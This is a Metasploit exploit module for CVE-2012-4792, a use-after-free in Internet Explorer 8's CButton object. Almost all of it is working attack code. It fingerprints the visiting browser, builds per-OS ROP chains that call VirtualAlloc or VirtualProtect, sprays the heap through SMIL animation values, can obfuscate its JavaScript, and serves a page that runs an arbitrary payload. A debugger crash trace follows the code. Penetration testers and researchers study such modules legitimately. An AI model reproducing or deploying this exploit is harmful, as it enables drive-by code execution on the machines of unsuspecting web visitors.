Microsoft Internet Explorer – CButton Object Use-After-Free (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers. }, 'License' => MSF_LICENSE, 'Author' => [ 'eromang', 'mahmud ab rahman', 'juan vazquez', #Metasploit 'sinn3r', #Metasploit 'Peter Vreugdenhil' #New trigger & new exploit technique ], 'References' => [ [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'BID', '57070' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ], [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], [ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 27 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie8_smil(my_target, p) case my_target['Rop'] when :msvcrt case my_target.name when 'IE 8 on Windows XP SP3' align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET when 'IE 8 on Windows Server 2003' align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*")) end else align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*")) end padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4)) js_payload = Rex::Text.to_unescape(p) js = %Q| unicorn = unescape("#{padding}"); for (i=0; i < 3; i++) { unicorn += unescape("#{padding}"); } unicorn += unescape("#{js_payload}"); animvalues = unescape("#{align_esp}"); for (i=0; i < 0xDC/4; i++) { if (i == 0xDC/4-1) { animvalues += unescape("#{xchg_esp}"); } else { animvalues += unescape("#{align_esp}"); } } animvalues += unicorn; for(i = 0; i < 21; i++) { animvalues += ";cyan"; } | if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' rop_gadgets = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") when 'IE 8 on Windows Server 2003' rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591 # PUSHAD # ADD AL,0EF # RETN ].pack("V*") end else rop_gadgets = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop_gadgets case t['Rop'] when :msvcrt rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 else rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 end rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie8_smil(my_target, p) html = %Q| <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); #{js} for(i =0; i < 20; i++) { document.createElement('button'); } e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld())"> <t:ANIMATECOLOR id="myanim"/> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (87c.f40): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=???????? 0:008> k ChildEBP RetAddr 020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504 020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47 020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f 020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12 020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 020bfd78 7e418734 mshtml!GlobalWndProc+0x183 020bfda4 7e418816 USER32!InternalCallWinProc+0x28 020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 020bfe7c 01252ec9 USER32!DispatchMessageW+0xf 020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 020bffec 00000000 kernel32!BaseThreadStart+0x37 0:008> r eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=???????? =end |